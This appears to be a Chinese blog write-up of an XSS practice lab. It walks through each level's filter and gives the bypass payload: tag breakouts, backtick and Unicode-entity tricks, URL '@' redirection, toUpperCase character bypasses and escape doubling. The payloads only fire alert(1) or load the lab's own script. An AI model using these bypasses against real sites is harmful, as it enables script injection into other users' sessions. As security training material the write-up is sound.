类型分类
- 反射型:payload存在于恶意链接,没有存在于服务器内,被攻击者点击遭罪;
- 存储型:payload被上传到服务器,出现在留言评论交互处,访问被注入了payload的页面就会被攻击;
- DOM型:基于DOM文档对象的一种漏洞,DOM型并不会和后台进行交互,是前端的安全问题,防御也只能在客户端上进行;
LAB说明
使用靶场:
所有类型都为DOM型xss
DOM型解题思路
- 最终的目的都是构造
<script>alert(1)</script>
; - 除了第一步写法也可以写在元素属性里,触发发生;
- 先给参数判断回显,看是在哪个标签里;
- 第一种思想:闭包标签;
- 遇到正则匹配无法闭包分情况:
- 遇到匹配符号,能用特殊写法绕就用特殊写法
- 绕不过符号,尝试unicode编码绕过,双写绕过
- 匹配一句话,尝试中断匹配,如加空格,回车
- 匹配网址,可使用http协议@跳转
0X00
服务器代码:
1 | function render (input) { |
input是参数,利用url传入;
输入参数传入js函数返回给用户html,需要实现弹窗功能则输入为:
1 | <script> alert(1) </script> |
0X01
服务器代码:
1 | function render (input) { |
说明:textarea 是一个多行文本框,期间的内容都是它的内容,有一个思路和sql注入相似–闭包:
1 | </textarea><script>alert(1)</script><textarea> |
0X02
服务器代码:
1 | function render (input) { |
说明:input 是一个输入框,类型和输入内容分别是type及value;
同样是采用闭包,思想和sql注入相似:
1 | "><script> alert(1) </script> |
0X03
1 | function render (input) { |
正则替换左右括号,可使用反引号写法绕过:
1 | <script>alert`1`</script> |
0X04
1 | function render (input) { |
Unicode编码绕过: (
)
只可以在标签属性内使用:src,onmouseover,value…
在这里使用onload,页面加载完后执行的动作;
这里说明,在””内的任何编码都会被解释为对应字符,即使””内有”的Unicode编码都会使其提前闭包!!!
1 | <body onload="alert(1)"></body> |
0X05
1 | function render (input) { |
注释绕过,但不能使用向后闭包的方式;
注释符还有一个写法: –!>
1 | --!><script>alert(1)</script> |
0X06
1 | function render (input) { |
输入框以及特殊符号绕过,匹配内容为以auto和on开头的某个属性后面跟着=或>;
正则里,.不匹配换行符,则可以如下写法:
1 | onmouseover |
onmouseover属性是当鼠标移动到元素上的时候触发;
0x07
1 | function render (input) { |
正则匹配html标签,并且用article包裹
由于html的写法问题,不闭合>也能跑:
1 | <body onload="alert(1)" |
0X08
1 | function render (src) { |
style是css标签,里面不能跑js脚本
可以不完整按着它的写法(加个空格)写后缀就行了:
其实也可以双写绕过</style>
1 | </style > <script>alert(1)</script> |
0X09
1 | function render (input) { |
匹配了一个网址,没有大小写区分以及全局匹配;
依然采用闭包思想;
1 | http://www.segmentfault.com "></script> <script>alert(1)</script> <!-- |
0x0A
1 | function render (input) { |
替换特殊字符,无法闭包;
http协议中有种写法为:
https://abcde@www.djdjdj.com
用来做身份验证,实际访问后面那个网址;
又这个lab提供了一个j.js的自带alert(1)的网页,所以可以这么写:
1 | https://www.segmentfault.com@https://xss.haozi.me/j.js |
注意艾特之后也得加上协议,如果前者用的是http,后者不能用https!!!
0x0B
1 | function render (input) { |
使得全体字符大写,标签不受影响;
但是alert收到了影响;
这里是html不受大小写影响,js会,所以使用编码绕过:
1 | </h1><body onload="alert(1)"></body><h1> |
0X0C
1 | function render (input) { |
在B的基础上过滤掉了script标签,无所谓还是上面的绕过方式:
1 | </h1><body onload="alert(1)"></body><h1> |
说明一下,如果用script标签的话,可以双写绕过,具体见SQLlabs;
0X0D
1 | function render (input) { |
屏蔽了特殊符号;
回车加注释 –>
1 | alert(1); |
0X0E
1 | function render (input) { |
将字符开头的内容替换为_开头,解决了html标签的闭合;
有特殊写法绕过toUpperCase:"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'
所以:
1 | <ſcript src="https://xss.haozi.me/j.js"></script> |
0x0F
1 | function render (input) { |
在属性中编码仍然有效,也就是之前说的””内:
1 | '); alert(1); // |
0x10
1 | function render (input) { |
一道非常简单只需要闭合就行的题:
1 | 123; |
0x11
1 | // from alf.nu |
这道题给我一种宽字节注入的既视感,将字符都进行转义为\;
实际上也是和0x0F一样的类型;
1 | "); alert(1); // |
0x12
1 | // from alf.nu |
不让用”但是可以双转义,用自己的斜杠去转义它的斜杠:
1 | \"); alert(1);// |